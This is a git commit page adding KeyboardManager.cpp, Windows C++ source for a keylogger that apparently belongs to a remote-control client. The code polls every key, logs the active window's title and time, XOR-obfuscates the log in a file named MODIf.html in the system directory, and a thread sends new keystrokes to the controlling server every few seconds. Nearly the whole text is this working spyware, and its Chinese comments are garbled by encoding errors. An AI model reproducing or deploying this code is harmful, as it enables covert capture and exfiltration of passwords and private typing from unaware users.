feature: Add keyboard record feature
This commit is contained in:
yuanyuanxiang
505
client/KeyboardManager.cpp
Normal file
505
client/KeyboardManager.cpp
Normal file
@@ -0,0 +1,505 @@
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// KeyboardManager.cpp: implementation of the CKeyboardManager class.
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//
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//////////////////////////////////////////////////////////////////////
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#include "KeyboardManager.h"
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#include <tchar.h>
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//////////////////////////////////////////////////////////////////////
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// Construction/Destruction
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//////////////////////////////////////////////////////////////////////
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#include <iostream>
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#include <winbase.h>
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#include <winuser.h>
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using namespace std;
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#define FILE_PATH "\\MODIf.html"
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#define CAPTION_SIZE 1024
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CKeyboardManager1::CKeyboardManager1(CClientSocket *pClient, int n) : CManager(pClient)
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{
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sendStartKeyBoard();
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WaitForDialogOpen();
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sendOfflineRecord();
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GetSystemDirectory(m_strRecordFile, sizeof(m_strRecordFile));
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lstrcat(m_strRecordFile, FILE_PATH);
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m_bIsWorking = true;
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dKeyBoardSize = 0;
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m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)KeyLogger, (LPVOID)this, 0, NULL);
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m_hSendThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)SendData,(LPVOID)this,0,NULL);
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}
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CKeyboardManager1::~CKeyboardManager1()
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{
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m_bIsWorking = false;
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WaitForSingleObject(m_hWorkThread, INFINITE);
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WaitForSingleObject(m_hSendThread, INFINITE);
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CloseHandle(m_hWorkThread);
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CloseHandle(m_hSendThread);
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}
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void CKeyboardManager1::OnReceive(LPBYTE lpBuffer, ULONG nSize)
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{
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if (lpBuffer[0] == COMMAND_NEXT)
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NotifyDialogIsOpen();
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if (lpBuffer[0] == COMMAND_KEYBOARD_OFFLINE) {
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}
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if (lpBuffer[0] == COMMAND_KEYBOARD_CLEAR) {
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DeleteFile(m_strRecordFile);
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HANDLE hFile = CreateFile(m_strRecordFile, GENERIC_WRITE, FILE_SHARE_WRITE, NULL,
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CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
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CloseHandle(hFile);
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dKeyBoardSize = 0;
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}
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}
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int CKeyboardManager1::sendStartKeyBoard()
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{
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BYTE bToken[2];
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bToken[0] = TOKEN_KEYBOARD_START;
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bToken[1] = (BYTE)true;
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return Send((LPBYTE)&bToken[0], sizeof(bToken));
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}
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int CKeyboardManager1::sendKeyBoardData(LPBYTE lpData, UINT nSize)
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{
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int nRet = -1;
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DWORD dwBytesLength = 1 + nSize;
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LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, dwBytesLength);
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lpBuffer[0] = TOKEN_KEYBOARD_DATA;
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memcpy(lpBuffer + 1, lpData, nSize);
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nRet = Send((LPBYTE)lpBuffer, dwBytesLength);
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LocalFree(lpBuffer);
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return nRet;
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}
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int CKeyboardManager1::sendOfflineRecord(DWORD dwRead)
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{
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int nRet = 0;
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DWORD dwSize = 0;
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DWORD dwBytesRead = 0;
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HANDLE hFile = CreateFile(m_strRecordFile, GENERIC_READ, FILE_SHARE_READ,
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NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
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if (hFile != INVALID_HANDLE_VALUE) {
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dwSize = GetFileSize(hFile, NULL);
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dKeyBoardSize = dwSize;
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if (0 != dwRead) {
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SetFilePointer(hFile, dwRead, NULL, FILE_BEGIN);
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dwSize -= dwRead;
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}
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TCHAR *lpBuffer = new TCHAR[dwSize];
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ReadFile(hFile, lpBuffer, dwSize, &dwBytesRead, NULL);
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// <20><><EFBFBD><EFBFBD>
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for (int i = 0; i < (dwSize/sizeof(TCHAR)); i++)
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lpBuffer[i] ^= '`';
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nRet = sendKeyBoardData((LPBYTE)lpBuffer, dwSize);
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delete[] lpBuffer;
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}
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CloseHandle(hFile);
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return nRet;
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}
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string GetKey(int Key) // <20>жϼ<D0B6><CFBC>̰<EFBFBD><CCB0><EFBFBD>ʲô<CAB2><C3B4>
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{
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string KeyString = "";
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//<2F>жϷ<D0B6><CFB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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const int KeyPressMask=0x80000000; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>볣<EFBFBD><EBB3A3>
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int iShift=GetKeyState(0x10); //<2F>ж<EFBFBD>Shift<66><74>״̬
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bool IS=(iShift & KeyPressMask)==KeyPressMask; //<2F><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>Shift<66><74>
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if(Key >=186 && Key <=222) {
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switch(Key) {
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case 186:
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if(IS)
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KeyString = ":";
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else
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KeyString = ";";
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break;
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case 187:
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if(IS)
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KeyString = "+";
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else
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KeyString = "=";
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break;
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case 188:
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if(IS)
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KeyString = "<";
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else
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KeyString = ",";
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break;
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case 189:
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if(IS)
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KeyString = "_";
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else
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KeyString = "-";
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break;
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case 190:
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if(IS)
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KeyString = ">";
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else
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KeyString = ".";
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break;
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case 191:
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if(IS)
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KeyString = "?";
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else
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KeyString = "/";
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break;
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case 192:
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if(IS)
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KeyString = "~";
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else
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KeyString = "`";
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break;
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case 219:
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if(IS)
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KeyString = "{";
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else
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KeyString = "[";
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break;
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case 220:
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if(IS)
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KeyString = "|";
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else
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KeyString = "\\";
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break;
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case 221:
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if(IS)
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KeyString = "}";
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else
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KeyString = "]";
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break;
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case 222:
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if(IS)
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KeyString = '"';
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else
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KeyString = "'";
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break;
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}
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}
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//<2F>жϼ<D0B6><CFBC>̵ĵ<CCB5>һ<EFBFBD><D2BB>
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if (Key == VK_ESCAPE) // <20>˳<EFBFBD>
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KeyString = "[Esc]";
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else if (Key == VK_F1) // F1<46><31>F12
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KeyString = "[F1]";
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else if (Key == VK_F2)
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KeyString = "[F2]";
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else if (Key == VK_F3)
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KeyString = "[F3]";
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else if (Key == VK_F4)
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KeyString = "[F4]";
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else if (Key == VK_F5)
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KeyString = "[F5]";
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else if (Key == VK_F6)
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KeyString = "[F6]";
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else if (Key == VK_F7)
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KeyString = "[F7]";
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else if (Key == VK_F8)
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KeyString = "[F8]";
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else if (Key == VK_F9)
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KeyString = "[F9]";
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else if (Key == VK_F10)
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KeyString = "[F10]";
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else if (Key == VK_F11)
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KeyString = "[F11]";
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else if (Key == VK_F12)
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KeyString = "[F12]";
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else if (Key == VK_SNAPSHOT) // <20><>ӡ<EFBFBD><D3A1>Ļ
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KeyString = "[PrScrn]";
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else if (Key == VK_SCROLL) // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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KeyString = "[Scroll Lock]";
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else if (Key == VK_PAUSE) // <20><>ͣ<EFBFBD><CDA3><EFBFBD>ж<EFBFBD>
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KeyString = "[Pause]";
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else if (Key == VK_CAPITAL) // <20><>д<EFBFBD><D0B4><EFBFBD><EFBFBD>
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KeyString = "[Caps Lock]";
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//-------------------------------------//
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//<2F><><EFBFBD>Ƽ<EFBFBD>
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else if (Key == 8) //<- <20>ظ<EFBFBD><D8B8><EFBFBD>
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KeyString = "[Backspace]";
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else if (Key == VK_RETURN) // <20>س<EFBFBD><D8B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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KeyString = "[Enter]\n";
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else if (Key == VK_SPACE) // <20>ո<EFBFBD>
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KeyString = " ";
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//<2F>ϵ<EFBFBD><CFB5><EFBFBD>:<3A><><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC>ʱ<EFBFBD><EFBFBD><F2A3ACBF>Բ<EFBFBD><D4B2><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Shift<66>Dz<EFBFBD><C7B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>κ<EFBFBD><CEBA>ַ<EFBFBD><D6B7><EFBFBD>
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//<2F>ϵ<EFBFBD><CFB5><EFBFBD><EFBFBD>ͱ<EFBFBD><CDB1>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ϣ<EFBFBD><CFA3><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD>
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/*
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else if (Key == VK_LSHIFT) // <20><><EFBFBD><EFBFBD><EFBFBD>ϵ<EFBFBD><CFB5><EFBFBD>
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KeyString = "[Shift]";
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else if (Key == VK_LSHIFT) // <20>Ҳ<EFBFBD><D2B2>ϵ<EFBFBD><CFB5><EFBFBD>
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KeyString = "[SHIFT]";
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*/
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/*<2A><><EFBFBD><EFBFBD>ֻ<EFBFBD>ǶԼ<C7B6><D4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ĸ<EFBFBD><C4B8><EFBFBD>м<EFBFBD>¼:<3A><><EFBFBD>Բ<EFBFBD><D4B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>*/
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else if (Key == VK_TAB) // <20>Ʊ<EFBFBD><C6B1><EFBFBD>
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KeyString = "[Tab]";
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else if (Key == VK_LCONTROL) // <20><><EFBFBD><EFBFBD><EFBFBD>Ƽ<EFBFBD>
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KeyString = "[Ctrl]";
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else if (Key == VK_RCONTROL) // <20>ҿ<EFBFBD><D2BF>Ƽ<EFBFBD>
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KeyString = "[CTRL]";
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else if (Key == VK_LMENU) // <20><EFBFBD><F3BBBBB5><EFBFBD>
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KeyString = "[Alt]";
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else if (Key == VK_LMENU) // <20>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>
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KeyString = "[ALT]";
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else if (Key == VK_LWIN) // <20><> WINDOWS <20><>
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KeyString = "[Win]";
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else if (Key == VK_RWIN) // <20><> WINDOWS <20><>
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KeyString = "[WIN]";
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else if (Key == VK_APPS) // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>Ҽ<EFBFBD>
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KeyString = "<EFBFBD>Ҽ<EFBFBD>";
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else if (Key == VK_INSERT) // <20><><EFBFBD><EFBFBD>
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KeyString = "[Insert]";
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else if (Key == VK_DELETE) // ɾ<><C9BE>
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KeyString = "[Delete]";
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else if (Key == VK_HOME) // <20><>ʼ
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KeyString = "[Home]";
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else if (Key == VK_END) // <20><><EFBFBD><EFBFBD>
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KeyString = "[End]";
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else if (Key == VK_PRIOR) // <20><>һҳ
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KeyString = "[PgUp]";
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else if (Key == VK_NEXT) // <20><>һҳ
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KeyString = "[PgDown]";
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// <20><><EFBFBD><EFBFBD><EFBFBD>õļ<C3B5><C4BC><EFBFBD><EFBFBD><EFBFBD>:һ<><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB>
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else if (Key == VK_CANCEL) // Cancel
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KeyString = "[Cancel]";
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else if (Key == VK_CLEAR) // Clear
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KeyString = "[Clear]";
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else if (Key == VK_SELECT) //Select
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KeyString = "[Select]";
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else if (Key == VK_PRINT) //Print
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KeyString = "[Print]";
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else if (Key == VK_EXECUTE) //Execute
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KeyString = "[Execute]";
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//----------------------------------------//
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else if (Key == VK_LEFT) //<2F>ϡ<EFBFBD><CFA1>¡<EFBFBD><C2A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҽ<EFBFBD>
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KeyString = "[<5B><>]";
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else if (Key == VK_RIGHT)
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KeyString = "[<5B><>]";
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else if (Key == VK_UP)
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KeyString = "[<5B><>]";
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else if (Key == VK_DOWN)
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KeyString = "[<5B><>]";
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else if (Key == VK_NUMLOCK)//С<><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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KeyString = "[NumLock]";
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else if (Key == VK_ADD) // <20>ӡ<EFBFBD><D3A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ˡ<EFBFBD><CBA1><EFBFBD>
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KeyString = "+";
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else if (Key == VK_SUBTRACT)
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KeyString = "-";
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else if (Key == VK_MULTIPLY)
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KeyString = "*";
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else if (Key == VK_DIVIDE)
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KeyString = "/";
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else if (Key == 190 || Key == 110) // С<><D0A1><EFBFBD><EFBFBD> . <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> .
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KeyString = ".";
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//С<><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ּ<EFBFBD>:0-9
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else if (Key == VK_NUMPAD0)
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KeyString = "0";
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else if (Key == VK_NUMPAD1)
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KeyString = "1";
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else if (Key == VK_NUMPAD2)
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KeyString = "2";
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else if (Key == VK_NUMPAD3)
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KeyString = "3";
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else if (Key == VK_NUMPAD4)
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KeyString = "4";
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else if (Key == VK_NUMPAD5)
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KeyString = "5";
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else if (Key == VK_NUMPAD6)
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KeyString = "6";
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else if (Key == VK_NUMPAD7)
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KeyString = "7";
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else if (Key == VK_NUMPAD8)
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KeyString = "8";
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else if (Key == VK_NUMPAD9)
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KeyString = "9";
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//-------------------------------------------//
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//-------------------------------------------//
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//*<2A><><EFBFBD><EFBFBD>ĸ<EFBFBD>Ĵ<EFBFBD>Сд<D0A1><D0B4><EFBFBD><EFBFBD><EFBFBD>ж<EFBFBD>*//
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else if (Key >=97 && Key <= 122) { // <20><>ĸ:a-z
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if (GetKeyState(VK_CAPITAL)) { // <20><>д<EFBFBD><D0B4><EFBFBD><EFBFBD>
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if(IS) //Shift<66><74><EFBFBD><EFBFBD>:ΪСд<D0A1><D0B4>ĸ
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KeyString = Key;
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else // ֻ<>д<EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD>:<3A><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4>ĸ
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KeyString = Key - 32;
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} else { // <20><>дû<D0B4><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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if(IS) // <20><><EFBFBD><EFBFBD>Shift<66><74>: <20><>д<EFBFBD><D0B4>ĸ
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KeyString = Key - 32;
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else // û<>а<EFBFBD>Shift<66><74>: Сд<D0A1><D0B4>ĸ
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KeyString = Key;
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}
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} else if (Key >=48 && Key <= 57) { // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:0-9<><39><EFBFBD>Ϸ<EFBFBD><CFB7>ķ<EFBFBD><C4B7><EFBFBD>
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if(IS) {
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switch(Key) {
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case 48: //0
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KeyString = ")";
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break;
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case 49://1
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KeyString = "!";
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break;
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case 50://2
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KeyString = "@";
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break;
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case 51://3
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KeyString = "#";
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break;
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case 52://4
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KeyString = "$";
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break;
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case 53://5
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KeyString = "%";
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break;
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case 54://6
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KeyString = "^";
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break;
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case 55://7
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KeyString = "&";
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break;
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case 56://8
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KeyString = "*";
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break;
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case 57://9
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KeyString = "(";
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break;
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}
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} else
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KeyString = Key;
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}
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if (Key != VK_LBUTTON || Key != VK_RBUTTON) {
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if (Key >=65 && Key <=90) { //ASCII 65-90 ΪA-Z
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if (GetKeyState(VK_CAPITAL)) { // <20><>д<EFBFBD><D0B4><EFBFBD><EFBFBD>:<3A><><EFBFBD><EFBFBD>A-Z
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if(IS) // <20><>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ұ<EFBFBD><D2B0><EFBFBD><EFBFBD>ϵ<EFBFBD><CFB5><EFBFBD>:<3A><><EFBFBD><EFBFBD>ΪСд<D0A1><D0B4>ĸ
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KeyString = Key + 32;
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else //ֻ<>д<EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD>:<3A><><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>д<EFBFBD><D0B4>ĸ
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KeyString = Key;
|
||||
} else { // <20><>дû<D0B4><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:a-z
|
||||
if(IS) {
|
||||
KeyString = Key;
|
||||
} else {
|
||||
Key = Key + 32;
|
||||
KeyString = Key;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return KeyString;
|
||||
}
|
||||
|
||||
void SaveToFile(TCHAR *strRecordFile, TCHAR *lpBuffer)
|
||||
{
|
||||
HANDLE hFile = CreateFile(strRecordFile, GENERIC_WRITE, FILE_SHARE_WRITE,
|
||||
NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
|
||||
DWORD dwBytesWrite = 0;
|
||||
DWORD dwSize = GetFileSize(hFile, NULL);
|
||||
if (dwSize < 1024 * 1024 * 50)
|
||||
SetFilePointer(hFile, 0, 0, FILE_END);
|
||||
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>
|
||||
int nLength = lstrlen(lpBuffer);
|
||||
TCHAR* lpEncodeBuffer = new TCHAR[nLength];
|
||||
for (int i = 0; i < nLength; i++)
|
||||
lpEncodeBuffer[i] = lpBuffer[i] ^ _T('`');
|
||||
WriteFile(hFile, lpEncodeBuffer, lstrlen(lpBuffer)*sizeof(TCHAR), &dwBytesWrite, NULL);
|
||||
CloseHandle(hFile);
|
||||
|
||||
delete [] lpEncodeBuffer;
|
||||
return;
|
||||
}
|
||||
|
||||
BOOL CKeyboardManager1::IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowCaption, TCHAR *szText, bool hasData)
|
||||
{
|
||||
HWND hFocus = GetForegroundWindow();
|
||||
BOOL ReturnFlag = FALSE;
|
||||
if (hFocus != PreviousFocus) {
|
||||
if (lstrlen(WindowCaption) > 0) {
|
||||
if (hasData) {
|
||||
SYSTEMTIME s;
|
||||
GetLocalTime(&s);
|
||||
wsprintf(szText, _T("\r\n[<5B><><EFBFBD><EFBFBD>:] %s\r\n[ʱ<><CAB1>:]%d-%02d-%02d %02d:%02d:%02d\r\n"),
|
||||
WindowCaption,s.wYear,s.wMonth,s.wDay,s.wHour,s.wMinute,s.wSecond);
|
||||
}
|
||||
memset(WindowCaption, 0, CAPTION_SIZE);
|
||||
ReturnFlag=TRUE;
|
||||
}
|
||||
PreviousFocus = hFocus;
|
||||
SendMessage(hFocus, WM_GETTEXT, CAPTION_SIZE, (LPARAM)WindowCaption);
|
||||
}
|
||||
return ReturnFlag;
|
||||
}
|
||||
|
||||
DWORD WINAPI CKeyboardManager1::SendData(LPVOID lparam)
|
||||
{
|
||||
CKeyboardManager1 *pThis = (CKeyboardManager1 *)lparam;
|
||||
|
||||
while(pThis->m_bIsWorking) {
|
||||
DWORD dwSize =0;
|
||||
HANDLE hFile = CreateFile(pThis->m_strRecordFile, GENERIC_READ, FILE_SHARE_READ,
|
||||
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
|
||||
if (hFile != INVALID_HANDLE_VALUE) {
|
||||
dwSize = GetFileSize(hFile, NULL);
|
||||
}
|
||||
CloseHandle(hFile);
|
||||
|
||||
if (pThis->dKeyBoardSize != dwSize) {
|
||||
pThis->sendOfflineRecord(pThis->dKeyBoardSize);
|
||||
}
|
||||
|
||||
Sleep(3000);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
|
||||
{
|
||||
CKeyboardManager1 *pThis = (CKeyboardManager1 *)lparam;
|
||||
|
||||
TCHAR KeyBuffer[2048] = {};
|
||||
TCHAR szText[CAPTION_SIZE] = {};
|
||||
TCHAR WindowCaption[CAPTION_SIZE] = {};
|
||||
HWND PreviousFocus = NULL;
|
||||
while(pThis->m_bIsWorking) {
|
||||
Sleep(5);
|
||||
int num = lstrlen(KeyBuffer);
|
||||
if (pThis->IsWindowsFocusChange(PreviousFocus, WindowCaption, szText, num > 0) || num > 2000) {
|
||||
bool newWindowInput = strlen(szText);
|
||||
if (newWindowInput){// <20><><EFBFBD>µĴ<C2B5><C4B4><EFBFBD><EFBFBD>м<EFBFBD><D0BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
lstrcat(KeyBuffer, szText);
|
||||
memset(szText, 0, sizeof(szText));
|
||||
}
|
||||
if (lstrlen(KeyBuffer) > 0) {
|
||||
if (!newWindowInput)
|
||||
lstrcat(KeyBuffer, _T("\r\n"));
|
||||
const int offset = sizeof(_T("\r\n[<5B><><EFBFBD><EFBFBD>:]")) - 1;
|
||||
memmove(KeyBuffer+offset, KeyBuffer, strlen(KeyBuffer));
|
||||
memcpy(KeyBuffer, _T("\r\n[<5B><><EFBFBD><EFBFBD>:]"), offset);
|
||||
SaveToFile(pThis->m_strRecordFile, KeyBuffer);
|
||||
memset(KeyBuffer,0,sizeof(KeyBuffer));
|
||||
}
|
||||
}
|
||||
for(int i = 8; i <= 255; i++) {
|
||||
if((GetAsyncKeyState(i)&1) == 1) {
|
||||
string TempString = GetKey (i);
|
||||
lstrcat(KeyBuffer,TempString.c_str());
|
||||
}
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
Reference in New Issue
Block a user